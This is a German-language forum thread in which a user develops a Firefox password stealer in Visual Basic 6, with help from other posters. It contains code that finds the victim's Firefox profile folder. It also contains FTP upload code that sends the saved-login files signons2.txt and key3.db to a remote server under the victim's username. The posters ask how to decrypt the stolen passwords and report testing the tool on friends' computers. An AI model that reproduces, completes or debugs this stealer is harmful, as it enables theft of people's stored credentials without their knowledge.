Druckbare Version
abend :D
Ich hab da ein Problem.. ich möchte einen Firefox pw stealer programmieren, welcher die signons und key3 auf einen ftp server lädt. Den Ftp upload habe ich schon... jetzt ist das Problem, dass der Profilname verschlüsselt ist und man so nicht weiß, wo er nach der Datei suchen soll. Und mein anderes Problem ist, wie findet vb raus, welcher Benutzername das victim benutzt?
Hab mal kurz ne Function für VB6 gecoded, hab sie nicht getestet,sollte aber gehen
Code:'GetProfileName by Neronix
Private Function GetProfileName()
Dim Useless As String
Dim Path As String
Open Environ("appdata") & "\Mozilla\Firefox\profiles.ini" For Input As #1
Line Input #1, Useless
Line Input #1, Useless
Line Input #1, Useless
Line Input #1, Useless
Line Input #1, Useless
Line Input #1, Useless
Line Input #1, Path
Close #1
GetProfileName = Replace(Path, "Path=Profiles/", "")
End Function
Funktioniert soweit alles.. außer, dass beim Pfad jetzt das hier steht:
Path=Profiles/i9jv4cm2.default
und das Path bekomme ich nicht weg :(
Mach mal nen Command Button und schreib folgendes rein.
Msgbox GetProfileName
~
Problem ist gelöst... Tix hat mir freundlicherweiße geholfen und jetzt funktioniert alles bestens :D
Vielleicht weil schon viel länger Copy Paste macht als du Programmierst und daher viel mehr Erfahrung in diesen Dingen hat? :DZitat:
Zitat von enzym
hab den satz irgendwie nicht recht verstanden -.-Zitat:
Zitat von Inmice
Das mit den Variabelnnamen ist,weil ich mir auchmal dein snippet angesehen hab.Und mit Useless sieht man ja auch gleich, dass die sachen eher unbrauchbar sind.Ich wollts ja eigendlich auch grad in groben Zügen zeigen(habs auch nur auf die schnelle gecoded).
Mahlzeit,
kann mir nochmal kurz einer helfen?
Wie hieß nochmal der Befehl, dass er erst den code ausführt, nachdem er einen anderen ausgeführt hat? Denn sonst kommt bei mir immer, dass der andere Befehl noch ausgeführt wird..
Danke! :D
achja: Und wie bekomme ich es hin, dass das programm die pws entschlüsselt? Denn sonst läd es die Dateien nur hoch und ich muss es dann in den profilordner von mir einfügen.
Added after 29 hours 41 minutes:
So.. mir ist der Befehl wieder eingefallen..
Jetzt geht der Firefoxstealer ohne Probleme.. er geht mit Firefox 2 und 3... aber bis jetzt läd er nur die singons.txt und key3.db hoch.. gibt einen source, mit dem man die pw's decrypten kann und diese dann in einem textfile speichert?
Neues Problem:
Bei mir funzt der stealer ohne Probleme... aber bei ein paar lädt es einfach nix hoch... also bei ein paar gehts und bei paar gehts nicht.
Den Pfad zur Datei hab ich so angegeben:
Ich hab es 2 Freunde testen lassen. Beide haben Windoof xp, ich habe windows vistal Liegt es dadran? Also, ist es von Windows zu Windows unterschiedlich?Code:Environ("appdata") & "\Mozilla\Firefox\Profiles\" & GetProfiles & "\signons2.txt")
vielleicht stimmt der Pfad nicht immer ;)
ich würde vorschlagen, das du ne abfrage machst welcher pfad den vorhanden ist also ob da wirklich ne profiel.ini ist oder ned und dann den vorgang weiter machst.
Ausserdem Funktioniert der FTP Upload wahrscheinlich nicht auf Vista ^^
könnt ich ein ei drauf verwetten ^^
~
Geht komischerweiße immer noch nicht.... Das Komisch ist:
Er kopiert bei einem Freund die signons2.txt und key3.db in einen anderen ordner, aber er läd diese nicht hoch. Das heißt, dass er die Dateien findet.
Meine Uploadfunktion sieht so aus:
Code:Dim remote As String
Dim strNewFile As String
Dim user As String
user = Environ$("Username")
strNewFile = Environ("appdata") & "\Mozilla\Firefox\" & "signons2.txt"
remote = "signons2.txt"
If FileExists(strNewFile) Then
With Inet1
.Cancel
.Protocol = icFTP
.URL = "ftp://host.de"
.UserName = "Name"
.Password = "Passwort"
End With
Inet1.Execute , "Put " & strNewFile & " " & "/" & user & "/" & remote
Do While Inet1.StillExecuting
DoEvents
Loop
Inet1.Execute , "QUIT"
End If
If Inet1.StillExecuting = False Then
Timer1.Enabled = False
Timer2.Enabled = True
End If
~
Hab ich schon in einem anderen befehl... hab den nur nicht kopiert ^^..
Bei mir lädt er alle hoch und erstellt auch einen ordner, aber bei einem Freund passiert gar nix... ich bin schon jede zeile paar mal durchgegangen und hab geschaut, woran das liegen könnte, finde aber nirgends das Problem :(
~
Hab jetzt mal den ftp-status in einer textbox ausgeben lasse. Bei mir sieht es so aus:
Bei dem Freund sieht es so aus:Code:Disconnecting
Disconnected
Connecting
Connected
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Der Vorgang wurde erfolgreich beendet.
Disconnecting
Disconnected
Connecting
Connected
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Der Vorgang wurde erfolgreich beendet.
Disconnecting
Disconnected
Code:Disconnecting
Disconnected
Connecting
Connected
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Disconnecting
Disconnected
Connecting
Connected
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Requesting
Request Sent
Receiving Response
Response Received
Disconnecting
Disconnected